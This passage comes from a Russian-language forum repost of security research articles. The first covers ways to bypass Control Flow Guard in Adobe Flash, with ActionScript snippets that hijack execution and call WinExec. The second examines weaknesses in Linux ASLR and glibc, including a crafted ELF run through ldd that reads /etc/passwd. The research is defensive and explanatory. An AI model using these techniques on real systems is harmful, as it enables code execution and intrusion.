динамически сгенерированной функции. Для данной цели хорошо подходит класс
ByteArray.
Структура объекта ByteArray:
По смещению $+8 находится указатель на объект класса VTable:
Класс VTable является внутренним представлением виртуальной таблицы функций
(то есть не той, которую генерирует C++) для классов ActionScript.
Объект данного класса содержит в себе указатели на объекты класса MethodEnv:
Данный класс представляет собой описание метода ActionScript и содержит указатель на тело функции в памяти по смещению $+4.
В объекте VTable по смещению $+D4 находится описание метода ByteArray:oString(). Имея возможность произвольно читать и писать в память, атакующий способен изменить указатель функции на тело функции (MethodEnv + 4) и благополучно перехватить поток исполнения приложения, выполнив ByteArray:oString().
Такое становится возможным по причине того, что метод данного класса будет вызываться из JIT-кода:
Как видно на скриншоте выше, неявный вызов происходит без предварительной проверки вызываемого адреса, поскольку данная функция была сгенерирована динамически.
Данный метод обхода CFG был исправлен с выходом Adobe Flash Player версии 18.0.0.160 (KB3065820, Июнь 2015). Исправление заключается в следующем: если JIT-функция содержит неявный вызов, то JIT-компилятор вставит вызов процедуры проверки непосредственно перед неявным вызовом.
Любой адрес в пределах тела динамической функции является валидным
Предыдущий метод обхода был возможен из-за недочета в функции, которая производит неявный вызов. А данный метод возможен из-за недочета в функции, которую неявно вызывают.
Исследователи Юрий Дроздов и Людмила Дроздова из Center of Vulnerability Research представили данный метод обхода CFG на конференции Defcon Russia (Санкт-Петербург, 2015) ([презентация](http://www.slideshare.net/DefconRussia/advanced-cfg-bypass-on- adobe-flash-player-18), [статья](http://cvr-data.blogspot.ru/2015/07/advanced- cfg-bypass-on-adobe-flash.html)). Их метод основан на том факте, что при выделении исполняемой памяти ядро выставляет единичный бит в битовой карте CFG для всей выделенной памяти. Посмотрим, к чему может привести такое поведение.
Предположим, что существует некая JIT-функция по адресу 0x69BC9080, в теле которой находится следующий код:
Что именно делает эта функция, нас не интересует, нужно лишь обратить внимание на 2 байта FF D0инструкции по адресу 0x69BC90F0. Что будет, если начало функции вдруг сдвинется в середину данной инструкции? Вот что:
FF D0 — не что иное, как call eax! Вот так безобидная на первый взгляд функция превратилась в прекрасную цель для атакующего — неявный вызов без проверки Control Flow Guard. Нужно лишь разобраться с двумя вопросами: как добиться нужной последовательности байтов и как записать в регистр необходимый адрес.
Сгенерировать необходимую последовательность можно, просто экспериментируя с ActionScript-кодом. Стоит лишь учитывать тот факт, что Nanojit (JIT-компилятор AVM) обфусцирует генерируемый код, поэтому легкого пути не будет. Посмотрим, во что превратит Nanojit данную функцию:
Code:Copy to clipboard
public static function useless_func():uint
{
return 0xD5EC;
}
Результат:
Совсем не то, что мы ожидали. Опытным путем можно прийти, например, к такому варианту кода:
Code:Copy to clipboard
public static function useless_func():void
{
useless_func2(0x11, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26);
}
public static function useless_func2(arg1:uint, arg2:uint, arg3:uint, a, b, c, d, e, f, g, h, i, j, k, l, m, n, p, q, r, s, t, u, v, w, x, y, z):void
{
}
Тело первой функции будет содержать следующие инструкции:
Интересующие нас байты FF 11 являются инструкцией call [ecx]:
Неявный вызов получили, теперь нужно занести в регистр ecx контролируемый адрес. Выясним, что хранится в данном регистре в момент вызова функции useless_func().
В момент вызова функции, в регистре ecx находится объект класса MethodEnv.
Первый DWORDданного класса является указателем на виртуальную таблицу функций
(ту, которую генерирует компилятор C++). Эта таблица в момент вызова метода
useless_func() не используется, поэтому ничего не мешает атакующему
непосредственно перед вызовом метода заменить указатель на свой.
Реализация данного алгоритма будет следующей:
Code:Copy to clipboard
var class_addr:uint = read_addr(UselessClass);
var vtable:uint = read_dword(class_addr + 8);
var methodenv:uint = read_dword(vtable + 0x54); // $+54 = useless_func
var func_ptr:uint = read_dword(methodenv + 4);
write_dword(methodenv + 4, func_ptr + offset_to_call_ecx);
write_dword(methodenv, rop_gadget); // ecx <- pointer to rop gadgets
UselessClass.useless_func(); // call [ecx]
Таким образом, нам удалось перехватить поток исполнения приложения и перейти, в данном случае, к выполнению ROP-гаджета.
Этот метод обхода CFG был исправлен в версии 18.0.0.194 (KB3074219, Июнь
2015). Исправление заключается в использовании нового флага
PAGE_TARGETS_INVALID/PAGE_TARGETS_NO_UPDATE (0x40000000) для функций
VirtualAlloc и VirtualProtect в связке с новой функцией WinAPI —
SetProcessValidCallTargets.
Флаг PAGE_TARGETS_INVALID при выделении исполняемой памяти выставляет нулевой
бит для всего участка памяти, а флаг PAGE_TARGETS_NO_UPDATE при изменении типа
памяти на исполняемую предотвращает изменение битовой карты для целевого
участка памяти.
Данное исправление можно наблюдать в функции AVMPI_makeCodeMemoryExecutable в
исходном коде ядра AVM
(AVMPI/MMgcPortWin.cpp):
Вызов функции SetProcessValidCallTargets реализован в AVMPI_makeTargetValid(AVMPI/MMgcPortWin.cpp):
Из этого можно сделать вывод, что правильная последовательность действий при размещении в памяти динамически генерируемого кода в условиях работы CFG должна быть следующей:
И, конечно же, не стоит забывать про неявные вызовы внутри динамического кода.
Обход при помощи функций WinAPI
Проверка Control Flow Guard заключается в валидации вызываемого адреса, но валидными адресами являются не только начала пользовательских функций. Все функции WinAPI, как и любые другие функции из таблицы импорта, являются валидными адресатами для неявного вызова. Атакующему ничего не мешает перевести поток исполнения напрямую в библиотечную функцию, минуя тем самым выполнение шеллкода (shellcode) или ROP-гаджетов. Хорошим кандидатом для такой цели является WinAPI функция kernel32!WinExec.
Данная идея впервые была озвучена исследователем Yuki Chen из Qihoo 360 Vulcan
Team на конференции SyScan (Сингапур, 2015) в
презентации,
посвященной эксплуатации уязвимости в Internet Explorer 11 с обходом новых
механизмов защиты. Также на конференции BlackHat (США, 2015) исследователь
Francisco Falcón описал [реализацию
](https://www.blackhat.com/docs/eu-15/materials/eu-15-Falcon-Exploiting-Adobe-
Flash-Player-In-The-Era-Of-Control-Flow-Guard.pdf)данного метода применительно
к Adobe Flash Player.
В своей реализации Francisco Falcón оперировал методом toString() объекта
класса Vector, но мы попробуем реализовать данный метод, пользуясь наработками
из предыдущего.
Основная сложность данного метода заключается в том, чтобы передать параметры WinExec через стек. Данная функция, согласно [справке](https://msdn.microsoft.com/en- us/library/windows/desktop/ms687393(v=vs.85).aspx), принимает 2 параметра: LPCSTR lpCmdLine и UINT uCmdShow.
Обратимся к скриншоту из предыдущего метода:
В момент вызова нашей функции на стеке оказывается 3 параметра. Третий параметр нас не интересует. Со вторым все отлично, поскольку 0 = SW_HIDE (приложение запустится скрыто). Первым параметром является указатель на объект MethodEnv.
Как мы уже выяснили ранее, первые 4 байта данного объекта являются указателем
на виртуальную таблицу функций, и в момент вызова ActionScript-метода она
никак не задействуется. Следующие 4 байта указывают на тело функции, и именно
их нужно изменить на указатель функции WinExec.
Поскольку порча указателя на тело функции не приведет ни к чему хорошему, в
нашем распоряжении имеется лишь первые 4 байта. В данный размер можно,
например, уместить строку cmd\0 (командная строка Windows). Данной командой,
конечно, не добиться полной компрометации системы, но для демонстрации
подойдет.
Модифицируем алгоритм из предыдущего метода и получим следующий код:
Code:Copy to clipboard
var class_addr:uint = read_addr(UselessClass);
var vtable:uint = read_dword(class_addr + 8);
var methodenv:uint = read_dword(vtable + 0x50); // $+50 = useless_func
var winexec:uint = get_proc_addr("kernel32.dll", "WinExec");
write_dword(methodenv + 4, winexec); // useless_func() --> WinExec()
write_dword(methodenv, 0x00646d63); // '\0', 'd', 'm', 'c'
UselessClass.useless_func();
Поиск WinAPI функции в условиях современных Flash-эксплоитов является
тривиальной задачей. Данную реализацию мы опустим, но с ней можно всегда
ознакомиться, изучив пакет [Flash
Exploiter](https://github.com/rapid7/metasploit-
framework/tree/master/external/source/flash_exploiter) из фреймворка
Metasploit.
Выполнив приведенный выше алгоритм при эксплуатации уязвимости, можно
убедиться в работоспособности данного метода:
Данная реализация, несмотря на свою работоспособность и лаконичность, представляет малый интерес для атакующего, поскольку дает небольшой спектр возможностей.
Образец для подражания
Все современные Flash-эксплоиты так или иначе используют метод запуска
полезной нагрузки (payload) из утекших исходников эксплоитов компании
HackingTeam. Автором данного метода является Виталий Торопов. Его метод
основан на вызове WinAPI функции kernel32!VirtualProtect, благодаря чему
достигается обход всех механизмов защиты и, в том числе, Control Flow Guard.
Целью данного метода является метод apply() класса Function
(core/FunctionClass.cpp)
В исходном коде данного метода происходит нативный вызов
core->exec->apply(get_callEnv(), thisArg,
(ArrayObject*)AvmCore::atomToScriptObject(argArray));, который можно
перехватить, оперируя объектами ActionScript.
Подробное описание данного метода требует отдельной статьи, но с реализацией можно ознакомиться на [GitHub](https://github.com/hackedteam/vector- exploit/blob/master/src/flash-0day-vitaly2/exp1/ShellWin32.as). Также есть хороший материал с разбором данного метода в условиях 64-битного Flash в [блоге Metasploit](https://community.rapid7.com/community/metasploit/blog/2015/08/04/exploiting-a-64-bit- browser-with-flash-cve-2015-5119-part-2).
Другие работы по обходу Control Flow Guard
В данной статье были рассмотрены методы обхода CFG при эксплуатации уязвимостей Adobe Flash Player. Но мир не крутится вокруг Flash, поэтому рекомендуем ознакомиться со следующими исследованиями, в которых затрагивается вопрос обхода Control Flow Guard в Internet Explorer 11.
Zhang Yunhai @ Black Hat 2015
Перезапись read-only указателя ___guard_check_icall_fptr используя
CustomHeap::Heapбиблиотеки Jscript9.
Yuki Chen @ SyScan 2015
Вызов WinAPI функции kernel32!LoadLibraryA
Rafal Wojtczuk & Jared DeMott @ DerbyCon 2015 (video), заметка в блоге Bromium Labs
Интересное исследование, в котором представлена новая техника —
"десинхронизация стека" (stack desync). Данная техника основана на том, что
Control Flow Guard не способен контролировать валидность адреса возврата
функции. Модификация адреса возврата достигается за счет вызова функции с
несоответствующим соглашением о вызове (calling convention).
Заключение
Несмотря на свои недостатки, Control Flow Guard при должном внимании со
стороны разработчиков является хорошим дополнением в арсенале борцов с
эксплоитами в среде ОС Windows. Компании Microsoft удалось, пусть и не
полностью, реализовать концепцию Control Flow Integrity, минимально повлияв на
производительность приложений, и сохранив обратную совместимость. Данный
механизм еще не достиг предела своих возможностей, и разработчики из Microsoft
наверняка в ближайшем будущем смогут усилить защиту приложений.
Хочется надеяться, что все разработчики приложений задумаются над современной
защитой от эксплуатации уязвимостей и добавят в свои продукты поддержку CFG.
Подобные механизмы защиты появляются и на уровне железа. Компания Intel, например, выпустила спецификацию их новой технологии, нацеленную на противодействие ROP-атакам — [CET (Control-flow Enforcement Technology)](https://blogs.intel.com/evangelists/2016/06/09/intel-release- new-technology-specifications-protect-rop-attacks/) (статья на хабре). В добавок к лучшей производительности, CET избавлен от многих недостатков Control Flow Guard.
Click to expand...
Источники
[Jack Tang, Trend Micro Threat Solution Team. Exploring Control Flow Guard in
Windows 10.](http://sjc1-te-ftp.trendmicro.com/assets/wp/exploring-control-
flow-guard-in-windows10.pdf)
mj0011, Qihoo 360 Vulcan Team. Windows 10 Control Flow Guard
Internals.
Source code for the Actionscript virtual machine,
GitHub.
[Francisco Falcon, Core Security. Exploiting Adobe Flash Player in the era of
Control Flow
Guard.](https://www.blackhat.com/docs/eu-15/materials/eu-15-Falcon-Exploiting-
Adobe-Flash-Player-In-The-Era-Of-Control-Flow-Guard.pdf)
Автор backtrace (с) Хабра
За время существования ядра Linux в нем появилось множество механизмов защиты от эксплуатации уязвимостей, которые могут обнаружиться как в самом ядре, так и в приложениях пользователей. Это, в частности, механизмы ASLR и stack canary, противодействующие эксплуатации уязвимостей в приложениях. В данной статье мы внимательно рассмотрим реализацию ASLR в ядре текущей версии (4.15-rc1) и проблемы, позволяющие частично или полностью обойти эту защиту.
Вместе с описанием проблем мы предложили ряд исправлений и разработали специальную утилиту, позволяющую продемонстрировать найденные недостатки. Анализируя механизм реализации ASLR, мы также проанализировали часть библиотеки GNU Libc (glibc) и нашли серьезные проблемы с реализацией stack canary. Удалось обойти защиту stack canary и запустить произвольный код через утилиту ldd.
Все проблемы рассматриваются в контексте архитектуры x86-64, хотя для большинства архитектур, поддерживаемых ядром Linux, они также актуальны.
Spoiler: OffensiveCon
Илья Смит, выступая от лица компании Positive Technologies, представил доклад по этой теме на конференции OffensiveCon, которая прошла 16 февраля 2018 года. На сайте конференции можно ознакомиться и с другими брифами выступлений.
ASLR
ASLR (address space layout randomization) — это технология, созданная для
усложнения эксплуатации некоторого класса уязвимостей, применяется в
нескольких современных операционных системах. Основной принцип данной
технологии заключается в устранении заведомо известных атакующему адресов
адресного пространства процесса. В частности, адресов, необходимых для того,
чтобы:
Впервые технология была реализована для Linux в 2005 году. В Microsoft Windows и Mac OS реализация появилась в 2007 году. Хорошее описание реализации ASLR в Linux дается в [статье](https://xorl.wordpress.com/2011/01/16/linux-kernel- aslr-implementation/).
За время существования ASLR были созданы разные методики обхода этой технологии, среди которых можно выделить следующие типы:
Стоит отметить, что в разных ОС реализации ASLR очень сильно различаются и развиваются. Последние изменения связаны с работой Offset2lib, представленной в 2014 году. В ней были раскрыты слабости реализации, позволяющие обходить ASLR из-за близкого расположения всех библиотек к образу бинарного ELF-файла программы. В качестве решения было предложено выделить образ ELF-файла приложения в отдельный случайным образом выделенный регион.
В апреле 2016 года создатели Offset2lib раскритиковали также текущую реализацию, выделив недостаточную энтропию при выборе адреса региона в работе [ASLR-NG](https://cybersecurity.upv.es/solutions/aslr-ng/ASLRNG-BH-white- paper.pdf). Однако с тех пор патч не был опубликован.
Рассмотрим результат работы ASLR в Linux на текущий момент.
ASLR в Linux
Для первоначального опыта возьмем Ubuntu 16.04.3 LTS (GNU/Linux
4.10.0-40-generic x86_64) с установленными последними на текущий момент
обновлениями. Результат не сильно будет зависеть от дистрибутива Linux и
версии ядра начиная с 3.18-rc7. Если выполнить less /proc/self/maps в
командной строке Linux, можно увидеть примерно следующее.
На примере видно:
Если применить вычитание к соседним регионам памяти, можно заметить: существенна разница между бинарным файлом, кучей, стеком и младшим адресом local-archive и старшим адресом ld. Между загруженными библиотеками (файлами) нет ни одной свободной страницы.
Если повторить процедуру много раз, картина сильно не изменится: разность между страницами будет отличаться, однако библиотеки и файлы будут одинаково расположены друг относительно друга. Этот факт и стал опорной точкой для данной статьи.
Почему это так
Рассмотрим, как работает механизм выделения виртуальной памяти процесса. Вся
логика находится в функции ядра do_mmap , реализующей выделение памяти как
со стороны пользователя (syscall mmap), так и со стороны ядра (при
выполнении execve). Она разделяется на два действия — сначала выбор
свободного подходящего адреса (get_unmapped_area), потом отображение страниц
на выбранный адрес (mmap_region). Нам будет интересен первый этап.
В выборе адреса возможны варианты:
Если все прошло успешно, по выбранному адресу будет выделен необходимый регион памяти.
Детали алгоритма выбора адреса
В основе менеджера виртуальной памяти процесса лежит структура
vm_area_struct (далее просто vma):
C:Copy to clipboard
struct vm_area_struct {
unsigned long vm_start; /* Our start address within vm_mm. */
unsigned long vm_end; /* The first byte after our end address within vm_mm. */
...
/* linked list of VM areas per task, sorted by address */
struct vm_area_struct *vm_next, *vm_prev;
struct rb_node vm_rb;
...
pgprot_t vm_page_prot; /* Access permissions of this VMA. */
...
};
Эта структура описывает начало региона виртуальной памяти, конец региона и флаги доступа к входящим в регион страницам.
Vma организованы в двусвязный список (Doubly linked list) по возрастанию адресов начала региона. И в расширенное красно-черное дерево (Bayer, Rudolf. Symmetric binary B-Trees: Data structure and maintenance algorithms), также по возрастанию адресов начала региона. Хорошее обоснование этому решению дается самими разработчиками ядра (Lespinasse, Michel. Mm: use augmented rbtrees for finding unmapped areas).
Пример двусвязного списка vma в порядке возрастания адресов
Расширением красно-черного дерева является величина свободной памяти для рассматриваемого узла. Величина свободной памяти узла определяется как максимум:
Выбранная структура позволяет быстро (за O(log n)) находить vma , соответствующий искомому адресу, или выбирать свободный диапазон определенной длины.
При выборе адреса вводятся также две важные границы — минимально возможное нижнее значение и максимально возможное верхнее. Нижнее определяется архитектурой как минимальный допустимый адрес или как минимальное разрешенное администратором системы. Верхнее — mmap_base — выбирается как stack – random , где stack — это выбранный максимальный адрес стека, random — некоторое случайное значение с энтропией от 28 до 32 бит в зависимости от соответствующих параметров ядра. Ядро Linux не может выбрать адрес выше mmap_base. В адресном пространстве процесса адреса, превышающие mmap_base , либо соответствуют стеку и специальным системным регионам — vvar и vdso, либо не используются никогда, если только не будут явно выделены с флагом MMAP_FIXED.
Пример расширенного красно-черного дерева vma
Во всей схеме неизвестны адрес начала стека главного потока, базовый адрес загрузки бинарного файла приложения, начальный адрес кучи приложения и mmap_base — стартовый адрес выделения памяти с помощью mmap.
Почему это плохо
Можно обозначить несколько проблем, которые следуют из описанного алгоритма
выделения памяти.
Близкое расположение памяти
Во время работы приложение использует виртуальную оперативную память.
Распространенные примеры использования приложением памяти — это куча, код и
данные (.rodata, .bss) загруженных модулей, стеки потоков, подгруженные файлы.
Любая ошибка обработки данных, лежащих в этих страницах, может затронуть и
близлежащие данные. Чем больше разнородных страниц находятся рядом, тем больше
поверхность атаки и выше вероятность успешной эксплуатации.
Примеры таких ошибок — ошибки с обработкой границ (out-of- bounds), переполнения целочисленные (Integer Overflow or Wraparound) или буфера (Classic Buffer Overflow), ошибки обработки типов (Incorrect Type Conversion or Cast).
Частный случай этой проблемы — уязвимость для Offset2lib-атаки. Вкратце: проблема заключалась в том, что базовый адрес загрузки программы не выделялся отдельно от библиотек, а выбирался ядром как mmap_base. Если в приложении была уязвимость, эксплуатация упрощалась близким расположением образов загруженных библиотек к образу загруженного бинарного приложения.
Очень хорошим примером, демонстрирующим данную проблему, была уязвимость в PHP (CVE-2014-9427), позволяющая читать или изменять соседние регионы памяти.
В разделе 5 будет несколько примеров.
Детерминированный метод загрузки библиотек
Динамические библиотеки в ОС Linux загружаются почти полностью без обращения к
ядру Linux. За это отвечает библиотека ld (из GNU Libc). Единственное участие
ядра — через функцию mmap (open/stat и прочие файловые операции мы пока не
учитываем): это нужно для загрузки кода и данных библиотеки в адресное
пространство процесса. Исключение составляет сама библиотека ld, которая
обычно прописана в исполняемом ELF-файле программы как интерпретатор для
загрузки файла. Сам же интерпретатор грузится ядром.
Итак, если в качестве интерпретатора используется ld из GNU Libc, то происходит загрузка библиотек примерно следующим образом:
Из этого алгоритма следует, что порядок загрузки всегда определен и может быть повторен, если известны все необходимые библиотеки (их бинарные файлы). Это позволяет восстановить адреса всех библиотек, если известен адрес хотя бы одной из них:
Если библиотека была загружена во время работы программы (например, с помощью функции dlopen), ее положение относительно других библиотек может быть неизвестным злоумышленнику в некоторых случаях. Например, если были вызовы mmap с неизвестными злоумышленнику размерами выделяемых регионов памяти.
При эксплуатации уязвимостей знание адресов библиотек очень сильно помогает, например в поиске «гаджетов» при построении ROP-цепочек. Кроме того, любая уязвимость в любой из библиотек, позволяющая читать (писать) значения относительно адреса этой библиотеки, будет легко проэксплуатирована из-за того, что библиотеки идут друг за другом.
Большинство дистрибутивов Linux содержат скомпилированные пакеты с наиболее распространенными библиотеками (например, libc). Благодаря этому можно узнать длину библиотек и построить часть картины распределения виртуального адресного пространства процесса в описанном выше случае.
Теоретически можно построить большую базу, например для дистрибутива Ubuntu, содержащую версии библиотек ld, libc, libpthread, libm и так далее, причем для каждой версии одной из библиотек можно определить множество версий библиотек, для нее необходимых (зависимости). Таким образом можно построить возможные варианты карт распределения части адресного пространства процесса при известном адресе одной из библиотек.
Примерами подобных баз служат базы libcdb.com и libc.blukat.me, используемые для определения версий libc по смещениям до известных функций.
Из всего описанного следует, что детерминированный порядок загрузки библиотек представляет собой проблему безопасности приложений, и значение ее увеличивается вместе с описанным ранее поведением mmap. В ОС Android эта проблема исправлена с 7-й версии (Security Enhancements in Android 7.0, [Implement Library Load Order Randomization](https://android- review.googlesource.com/c/platform/bionic/+/178130/2)).
Детерминированный порядок выполнения
Рассмотрим следующее свойство программ: существует пара определенных точек в
потоке выполнения программы, между которыми состояние программы в интересующих
нас данных определено. Например, когда клиент соединяется с сетевым сервисом,
последний выделяет для клиента некоторые ресурсы. Часть этих ресурсов может
быть выделена из кучи приложения. При этом взаимное расположение объектов на
куче определено в большинстве случаев.
Это свойство используется во время эксплуатации приложений при построении необходимого состояния программы. Назовем его детерминированным порядком выполнения.
Частный случай этого свойства есть некоторая определенная точка в потоке выполнения программы, состояние которой (точки) с начала выполнения программы, от запуска к запуску, идентично за исключением отдельных переменных. Например, до выполнения функции main программы интерпретатор ld должен загрузить и инициализировать все библиотеки и выполнить инициализацию программы. Расположение библиотек друг относительно друга, как было отмечено в разделе 4.2, будет всегда одинаковым. Отличия на момент выполнения функции main будут в конкретных адресах загрузки программы, библиотек, стека, кучи и выделенных к этому моменту в памяти объектов. Различия обусловлены рандомизацией, описанной в разделе 6.
Благодаря этому свойству злоумышленник может получить информацию о взаимном расположении данных программы. Это расположение не будет зависеть от рандомизации адресного пространства процесса.
Единственная возможная на этом этапе энтропия может быть обусловлена конкуренцией потоков: если программа создаст несколько потоков, их конкуренция при работе с данными может вносить энтропию в расположение объектов. В рассматриваемом примере создание потоков до выполнения main возможно из глобальных конструкторов программы или необходимых ей библиотек.
Когда программа начнет использовать кучу и выделять память в ней (обычно с помощью new/malloc), расположение объектов в куче друг относительно друга также до определенного момента будет постоянным для каждого запуска.
В некоторых случаях расположение стеков потоков и куч, созданных для них, будет также предсказуемо относительно адресов библиотек.
При необходимости можно получить эти смещения, чтобы использовать при эксплуатации. Например, выполнив strace -e mmap для данного приложения два раза и сравнив разницу в адресах.
Дырки
Если приложение после выделения памяти через mmap освобождает некоторую ее
часть, могут появляться «дырки» — свободные регионы памяти, окруженные
занятыми регионами. Проблемы могут возникнуть, если эта память (дырка) будет
снова выделена для уязвимого объекта (объекта, при обработке которого в
приложении есть уязвимость). Это снова приводит к проблеме близкого
расположения объектов в памяти.
Хороший пример создания таких дырок был обнаружен в коде загрузки ELF-файла в ядре Linux. Во время загрузки ELF-файла ядро сначала считывает полный размер загружаемого файла и пытается отобразить файл целиком с помощью do_mmap. После успешной загрузки файла целиком вся память после первого сегмента освобождается. Все следующие сегменты загружаются по фиксированному адресу (MAP_FIXED), полученному относительно первого сегмента. Это нужно для того, чтобы можно было загрузить весь файл по выбранному адресу и разделить сегменты по правам и смещениям в соответствии с их описаниями в ELF-файле. Такой подход позволяет порождать дырки в памяти, если они были определены в ELF-файле между сегментами.
При загрузке же ELF-файла интерпретатором ld (GNU Libc) — в такой же ситуации — не вызывает unmap , а меняет разрешения на свободные страницы (дырки) на PROT_NONE , обеспечивая тем самым запрет доступа процесса к этим страницам. Этот подход более безопасный.
Для устранения проблемы загрузки ELF-файла, содержащего дырки, ядром Linux был предложен патч, реализующий логику как в ld из GNU Libc (см. раздел 7.1).
TLS и стек потока
TLS (Thread Local Storage) — это механизм, с помощью которого каждый поток в
многопоточном процессе может выделять расположения для хранения данных
([Thread-Local Storage](http://gcc.gnu.org/onlinedocs/gcc-3.3/gcc/Thread-
Local.html)). Реализация этого механизма различна для разных архитектур и
операционных систем, в нашем же случае это реализация glibc под x86-64. Для
x86 разница будет несущественная для рассматриваемой проблематики mmap.
В случае с glibc для создания TLS потока также используется mmap. Это означает, что TLS потока выбирается уже описанным образом и при близком расположении к уязвимому объекту может быть изменен.
Чем интересен TLS? В реализации glibc на TLS указывает сегментный регистр fs (для архитектуры x86-64). Его структуру описывает тип tcbhead_t , определенный в исходных файлах glibc:
C:Copy to clipboard
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;
Этот тип содержит поле stack_guard , хранящее так называемую «канарейку» — некоторое случайное (или псевдослучайное) число, позволяющее защищать приложение от переполнений буфера на стеке (One, Aleph. Smashing The Stack For Fun And Profit).
Защита работает следующим образом: при входе в функцию на стек кладется «канарейка», которая берется из tcbhead_t.stack_guard. В конце функции значение на стеке сравнивается с эталонным значением в tcbhead_t.stack_guard , и, если оно не совпадает, приложение будет завершено с ошибкой.
Известны следующие методы обхода:
Из описанного следует важность защиты TLS от чтения или перезаписи злоумышленником.
Во время данного исследования была обнаружена проблема в реализации TLS у glibc для потоков, созданных с помощью pthread_create. Для нового потока необходимо выбрать TLS. Glibc после выделения памяти под стек инициализирует TLS в старших адресах этой памяти. В рассматриваемой архитектуре x86-64 стек растет вниз, а значит, TLS оказывается в вершине стека. Отступив некоторое константное значение от TLS, мы получим значение, используемое новым потоком для регистра стека. Расстояние от TLS до стек фрейма функции, переданной аргументом в pthread_create , меньше одной страницы. Злоумышленнику уже необязательно угадывать или «подглядывать» значение «канарейки», он попросту может перезаписать эталонное значение вместе со значением в стеке и обойти эту защиту полностью. Подобная проблема была найдена в Intel ME ([Maxim Goryachy, Mark Ermolov. HOW TO HACK A TURNED-OFF COMPUTER, OR RUNNING](https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To- Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management- Engine-wp.pdf)).
Malloc и mmap
При использовании malloc в некоторых случаях glibc применяет mmap для
выделения новых участков памяти — если размер запрашиваемой памяти больше
некоторой величины. В случае выделения памяти с помощью mmap адрес после
выделения будет находиться «рядом» с библиотеками или другими данными,
выделенными mmap. В этих случаях внимание злоумышленника привлекают ошибки
обработки объектов на куче, такие как переполнение кучи, use after
free и type
confusion.
Интересное поведение библиотеки glibc было замечено, когда программа использует pthread_create. При первом вызове malloc из потока, созданного pthread_creaete , glibc вызовет mmap , чтобы создать новую кучу для этого потока. В этом случае все выделенные с помощью malloc адреса в потоке будут находиться недалеко от стека этого же потока. Подробнее этот случай будет рассмотрен в разделе 5.7.
Некоторые программы и библиотеки используют mmap для отображения файлов в адресное пространство процесса. Эти файлы могут быть использованы, например, как кеш или для быстрого сохранения (изменения) данных на диске.
Абстрактный пример: пусть приложение загружает MP3-файл с помощью mmap. Адрес загрузки назовем mmap_mp3. Дальше оно считывает из загруженных данных смещение до начала звуковых данных offset. Пусть в приложении присутствует ошибка проверки длины полученного значения. Тогда злоумышленник может подготовить специальным образом MP3-файл и получить доступ к региону памяти, расположенному после mmap_mp3.
MAP_FIXED и загрузка ET_DYN ELF-файлов
В мануале mmap для флага MAP_FIXED написано следующее:
MAP_FIXED
Don’t interpret addr as a hint: place the mapping at exactly that address. addr must be a multiple of the page size. If the memory region specified by addr and len overlaps pages of any existing mapping(s), then the overlapped part of the existing mapping(s) will be discarded. If the specified address cannot be used, mmap() will fail. Because requiring a fixed address for a mapping is less portable, the use of this option is discouraged.Click to expand...
Если запрашиваемый регион с флагом MAP_FIXED перекрывает уже существующие регионы, результат успешного выполнения mmap перепишет существующие регионы.
Таким образом, если программист допускает ошибку в работе с MAP_FIXED , возможно переопределение регионов памяти.
Интересный пример такой ошибки был найден в контексте данной работы как в ядре Linux, так и в glibc.
Есть требование к ELF- файлам: сегменты ELF- файла должны следовать в заголовке Phdr в порядке возрастания адресов vaddr :
PT_LOAD
The array element specifies a loadable segment, described by p_filesz and p_memsz. The bytes from the file are mapped to the beginning of the memory segment. If the segment’s memory size (p_memsz) is larger than the file size (p_filesz), the “extra” bytes are defined to hold the value 0 and to follow the segment’s initialized area. The file size may not be larger than the memory size. Loadable segment entries in the program header table appear in ascending order, sorted on the p_vaddr member.Click to expand...
Однако это требование не проверяется. Текущий код загрузки ELF-файла таков:
C:Copy to clipboard
case PT_LOAD:
struct loadcmd *c = &loadcmds[nloadcmds++];
c->mapstart = ALIGN_DOWN (ph->p_vaddr, GLRO(dl_pagesize));
c->mapend = ALIGN_UP (ph->p_vaddr + ph->p_filesz, GLRO(dl_pagesize));
...
maplength = loadcmds[nloadcmds - 1].allocend - loadcmds[0].mapstart;
...
for (const struct loadcmd *c = loadcmds; c < &loadcmds[nloadcmds]; ++c)
...
/* Map the segment contents from the file. */
if (__glibc_unlikely (__mmap ((void *) (l->l_addr + c->mapstart),
maplen, c->prot,
MAP_FIXED|MAP_COPY|MAP_FILE,
fd, c->mapoff)
Алгоритм обработки всех сегментов следующий:
Это дает злоумышленнику возможность сделать ELF-файл, один из сегментов которого может полностью переопределить существующий регион памяти, например стек потока, кучу или код библиотеки.
Примером уязвимого приложения может служить утилита ldd, с помощью которой проверяется наличие в системе необходимых библиотек. Утилита использует интерпретатор ld. Благодаря найденной проблеме с загрузкой ELF-файлов удалось выполнить произвольный код, используя ldd:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
blackzert@crasher:~/aslur/tests/evil_elf$
В данном случае был прочитан файл /etc/passwd. Нормальный же запуск выглядит примерно следующим образом:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main
linux-vdso.so.1 => (0x00007ffc48545000)
libevil.so => ./libevil.so (0x00007fbfaf53a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbfaf14d000)
/lib64/ld-linux-x86-64.so.2 (0x000055dda45e6000)
В ознакомительных целях исходный код этого примера приводится в папке evil_elf.
Вопрос о MAP_FIXED также был поднят в сообществе Linux (Hocko, Michal. Mm: introduce MAP_FIXED_SAFE), однако на данный момент предложенный патч не принят.
Кеш выделенной памяти
В glibc также существует множество разных кешей, среди которых есть два
наиболее интересных в контексте ASLR — кеш для стека создаваемого потока и кеш
